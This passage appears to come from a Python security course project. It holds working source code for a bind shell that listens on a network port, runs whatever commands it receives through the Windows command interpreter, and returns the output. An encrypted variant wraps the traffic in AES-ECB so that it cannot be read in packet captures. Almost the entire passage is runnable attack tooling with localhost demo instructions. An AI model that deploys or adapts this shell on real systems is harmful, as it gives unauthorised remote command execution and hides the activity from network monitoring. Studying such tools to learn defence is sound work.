threading.Thread(target=recv_thread, args=(s,)).start()
## ----- CONTROLLING THE FUNCTIONALITY -- PARSING ARGS ----- ##
# to execute the script differently depending on whether we are
# -- trying to listen as a bind shell or connect to a bind shell
parser = argparse.ArgumentParser()
# starting the server -- listen mode
parser.add_argument("-l", "--listen", action="store_true", help="Setup a bind shell", required=False)
# to connect to a server
parser.add_argument("-c", "--connect", help="Connect to a bind shell", required=False)
# parse the arguments
args = parser.parse_args()
if args.listen:
# start the server if we want to listen
server()
elif args.connect:
client(args.connect)
# DEMO -- start the listener -- `python project5.py -l`
# -- then in a new terminal start the client and connect to localhost
# -- `python project5.py -c 127.0.0.1`
# -- Run some commands -- `whoami` and `ipconfig`
# -- Check with wireshark -- the connection is plain text -- not encrypted
print("-"*80)
## --------------- END --------------- ## -
Project#5 Source Code | Encrypted Version | "project5_encrypted.py" | (play around with commenting/uncommenting as you see fit)
import socket, subprocess, threading, argparse
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
print("-"*80)
## --------------- SYMMETRIC ENCRYPTION --------------- ##
# NOTE -- a class for handling symmetric encryption/decryption
# -- with a shared key
class AESCipher:
def __init__(self, key=None):
# generate key if none was passed in
self.key = key if key else get_random_bytes(32)
# weak AES cipher in ECB mode
self.cipher = AES.new(self.key, AES.MODE_ECB)
def encrypt(self, plaintext):
return self.cipher.encrypt(pad(plaintext, AES.block_size)).hex()
def decrypt(self, encrypted):
return unpad(self.cipher.decrypt(bytearray.fromhex(encrypted)), AES.block_size)
# overwrite the string function to display the key
def __str__(self):
return "Key -> {}".format(self.key.hex())
# NOTE -- overwrite all s.send with this new encrypted version
# -- similarly -- change all the s.recv occurences to also decrypt the data
# s:socket -- msg:message
def encrypted_send(s, msg):
s.send(cipher.encrypt(msg).encode("latin-1"))
## --------------- CONSTANTS AND VARIABLES --------------- ##
DEFAULT_PORT = 1234
# max buffer size for the socket
MAX_BUFFER = 4096
## --------------- UTILITIES --------------- ##
# execute a command
def execute_cmd(cmd):
try:
output = subprocess.check_output("cmd /c {}".format(cmd), stderr=subprocess.STDOUT)
except:
output = b"Command failed!"
return output
# test it -- works
# print(execute_cmd("whoami"))
# test it -- fails
# print(execute_cmd("whoaaasdmi"))
# decoding and stripping data
def decode_and_strip(s):
return s.decode("latin-1").strip()
## ----- THREAD CAPABLE FUNCTIONS -- Executing commands ----- ##
# NOTE -- the thread that will handle new user connections
# -- threading, because we want to be able to have more than one user connect
# -- to the bind shell and use it
# s:socket as a parameter
def shell_thread(s):
# when first connected -- tell the user
encrypted_send(s, b"[ -- Connected! --]")
try:
# infinite loop -- waiting for command from the user
while True:
encrypted_send(s, b"\r\nEnter Command> ")
# receive data up to the maximum buffer size
data = s.recv(MAX_BUFFER)
if data:
# decrypt the data
buffer = cipher.decrypt(decode_and_strip(data))
buffer = decode_and_strip(buffer)
# nothing has been sent | exit
if not buffer or buffer == "exit":
# close the socket
s.close()
exit()
print("> Executing command: '{}'".format(buffer))
# send through the socket
# execute the command and send the result back to the user
# -- over the socket
encrypted_send(s, execute_cmd(buffer))
except:
# if error occurs -- close the socket
s.close()
exit()
## ----- THREAD CAPABLE FUNCTIONS -- Sending data ----- ##
# NOTE -- needed functionalities -- dual functionality
# -- to listen and accept connection AND to initiate connections
# -- basically, we need to be able to run our script in both server and client
# -- modes -- depending on how we start the script
# s:socket
def send_thread(s):
try:
while True:
# accept data from the user on the cmd line
data = input() + "\n"
# send that data over the socket
encrypted_send(s, data.encode("latin-1"))
except:
# do it till some error occurs
s.close()
exit()
## ----- THREAD CAPABLE FUNCTIONS -- Receiving data ----- ##
# s:socket
def recv_thread(s):
try:
while True:
data = decode_and_strip(s.recv(MAX_BUFFER))
if data:
# decrypt the data
data = cipher.decrypt(data).decode("latin-1")
print(data, end="", flush=True)
except:
s.close()
exit()
## --------------- SERVER FUNCTIONS --------------- ##
# IDEA -- when the server receives a connection, it will give the user
# -- the ability to execute commands as if they have just opened
# -- a cmd.exe terminal on their machine
def server():
# setting up the socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# bind to our default port
s.bind(("0.0.0.0", DEFAULT_PORT))
# listen for connections
s.listen()
print("[ -- Starting bind shell! -- ]")
# wait for our connections to come in
while True:
client_socket, addr = s.accept()
print("[ -- New user connected! -- ]")
# when new connection --> start a new thread
# -- pass the client socket as an argument
threading.Thread(target=shell_thread, args=(client_socket,)).start()
## --------------- CLIENT FUNCTIONS --------------- ##
# ip:ip address to connect to
def client(ip):
# create the socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# connect to that host on the default port
s.connect((ip, DEFAULT_PORT))
print("[ -- Connecting to bind shell! -- ]")
# already connected --> start up both the send and the receive threads
# -- so that we are not stuck or blocked while waiting
# -- to send or receiving data
# set up and start the send thread
threading.Thread(target=send_thread, args=(s,)).start()
# set up and start the receive thread
threading.Thread(target=recv_thread, args=(s,)).start()
## ----- CONTROLLING THE FUNCTIONALITY -- PARSING ARGS ----- ##
# to execute the script differently depending on whether we are
# -- trying to listen as a bind shell or connect to a bind shell
parser = argparse.ArgumentParser()
# starting the server -- listen mode
parser.add_argument("-l", "--listen", action="store_true", help="Setup a bind shell", required=False)
# to connect to a server
parser.add_argument("-c", "--connect", help="Connect to a bind shell", required=False)
# specifying the encryption key
parser.add_argument("-k", "--key", help="Encryption key", type=str, required=False)
# parse the arguments
args = parser.parse_args()
# when trying to connect to a bind shell -- key needs to be included
# -- otherwise the server won't be able to communicate properly
if args.connect and not args.key:
parser.error("-c CONNECT requires -k KEY!")
# key is specified -- create cipher
if args.key:
cipher = AESCipher(bytearray.fromhex(args.key))
else:
# start new cipher with a random key
cipher = AESCipher()
# check the current encryption key we are using
print(cipher)
if args.listen:
# start the server if we want to listen
server()
elif args.connect:
client(args.connect)
# DEMO -- start the listener -- `python project5_encrypted.py -l`
# -- then in a new terminal start the client and connect to localhost
# -- `python project5_encrypted.py -c 127.0.0.1 -k <key-from-server>`
# -- Run some commands -- `whoami` and `ipconfig`
# -- Check with wireshark -- the connection is ENCRYPTED
print("-"*80)
## --------------- END --------------- ##